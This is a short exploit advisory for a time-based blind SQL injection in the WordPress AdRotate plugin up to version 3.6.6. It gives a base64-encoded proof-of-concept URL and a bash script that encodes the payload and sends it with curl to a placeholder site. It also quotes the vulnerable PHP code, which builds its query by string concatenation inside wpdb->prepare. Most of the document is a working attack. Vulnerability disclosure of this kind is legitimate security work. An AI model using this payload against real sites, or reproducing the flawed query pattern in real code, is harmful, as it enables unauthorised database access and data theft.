WordPress AdRotate plugin <= 3.6.6 SQL Injection

# Exploit Title: WordPress AdRotate plugin <= 3.6.6 SQL Injection Vulnerability
# Date: 2011-11-8
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip
# Version: 3.6.6 (tested)
# Note: parameter $_GET["track"] has to be Base64 encoded

---
PoC
---
http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj

e.g.
#!/bin/bash
payload="1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded

---------------
Vulnerable code
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if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = base64_decode($_GET['track']);
    ...
    list($ad, $group, $block) = explode("-", $meta);
    ...
    $bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare()